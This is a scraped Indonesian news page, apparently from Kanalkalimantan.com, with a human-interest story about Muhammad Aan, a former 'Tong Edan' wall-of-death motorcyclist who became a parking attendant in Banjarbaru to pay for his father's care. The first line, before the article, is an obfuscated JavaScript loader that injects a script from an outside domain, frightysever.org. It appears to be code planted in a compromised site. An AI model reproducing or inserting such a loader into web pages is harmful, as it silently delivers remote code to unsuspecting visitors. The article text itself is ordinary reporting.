(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Kisah Aan, Pemain ‘Tong Edan’ yang Banting Setir jadi Jukir demi Pengobatan Orangtua


KANALKALIMANTAN.COM, BANJARBARU – Pukul 10.40 Wita. Tapi panas di Kota Banjarbaru saat itu terasa menyengat. Di bawah pohon ketapang yang tumbuh di depan sebuah pertokoan, seorang pria pria bertopi duduk berjaga mengamati kendaraan dan mobil yang keluar masuk di area halaman toko.

Adalah Muhammad Aan (37), pria yang sudah tiga tahun terakhir jadi juru parkir (jukir) di lokasi tersebut. Sesekali, ia nampak melepas topi hitamnya untuk mengusir keringat. “Saya sudah sejak 2017 menjadi tukang parkir di sini. Menggantikan posisi ayah saya yang tak bisa bekerja lagi karena sakit,” ungkapnya kepada Kanalkalimantan.com.

Ia mengatakan, sakit hernia yang diderita ayahnya, memaksa orangtuanya melepas pekerjaan utamanya sebagai tukang parkir di kawasan tersebut. Padahal ketika itu, Aan sudah memiliki pekerjaan sebagai pemain panggung aktraksi ‘Tong Edan’.

“Itu akhirnya saya tinggalkan. Berganti menjadi jukir, karena memang lokasi parkir ini tidak ada yang menjaga setelah ditinggalkan oleh ayah saya sejak sakit,” katanya.

Sebagai jukir, Aan mengaku mendapatkan penghasilan tak menentu. Jika ramai bisa mendapatkan Rp50 ribu per hari. Tapi jika sepi, kadang ia cuma membawa uang Rp 10 ribu atau Rp 20 ribu saja. Semua tergantung sepi atau ramainya pengunjung toko. Meskipun, dia tak pernah menarif khusus pada kendaraan yang parkir. Pengunjung yang tak membayar parkir pun, tetap ia jaga motornya.

“Ya kita seikhlasnya saja. Kadang ada yang bayar Rp 1000 ya diterima. Tapi sering juga yang membayar lebih,” ungkapnya.

Dibandingkan saat masih menjadi pemain ‘Tong Edan’ penghasilannya sebagai juru parkir memang tak menentu. Ia mengatakan, saat ada evebt besar, sebagai pemain tong edan ia mampu mendapatkan uang Rp 3-4 juta per bulan.

“Waktu saya kerja menjadi pemain tong edan, Alhamdulillah saya kalau ada acara event besar dalam satu bulan saya mendapatkan gaji lumayan besar,” ungkapnya.

permainan tong edan Foto: aktifisika

Tong edan, bukanlah permainan yang gampang! Atraksi yang menjadi ‘bintang’ di antaranya sejumlah wahana di Pasar Malam seperti bianglala, komedi putar, rumah hantu, dan lainnya. Ada sejumlah nama untuk menyebut permainan penuh bahaya ini. Mulai dari roda gila, tong edan, hingga tong setan.

Permainan ini memerlukan wahana silinder kayu berbentuk tabung atau kerucut (disebut sebagai tong), yang biasanya memiliki diameter 20 hingga 36 kaki (6,1 hingga 11,0 m) dan terbuat dari papan-papan kayu. Di bagian dalamnya, para pengemudi sepeda motor menyetir di sepanjang tembok vertikal dan mementaskan pertunjukan.

Sering pula para joki menyentuh bibir tong seakan ingin menyambar para penonton yang memberikan sawer (uang). Ya, bertopang pada gaya gravitasi, gaya gesek lintasan, dan gaya normal berpadu sekaligus sehingga membuat motor yang dikendarai oara joki tong edan, tidak terjatuh.

Meskipun, memacu motor dalam kecepatan tinggi dalam posisi yang tidak biasa berisiko terjadinya kecelakaan. Aan pun mengatakan, pernah terjadi dalam salah satu atraksinya. “Itu memang permainan yang beresiko. Tapi namanya pekerjaan, ya harus dijalani,” katanya.

Kini tak ada lagi motor yang dipacu olehanya dengan lintasan gila. Begitu juga deru yang memekakkan telinga dari knalpot motor, telah digantikan peluit di sakunya. Saat ini, dunia panggung sudah berakhir bagi Aan. Sunyi tanpa suara tepuk tangan penonton yang puas akan aksinya.

“Itu sudah masa lalu. Saya ikhlas menjalani profesinya menjadi juru parkir. Asal halal dan bisa membantu orangtua,” katanya. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 


Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

4 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

6 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

10 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

10 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

10 jam ago

This website uses cookies.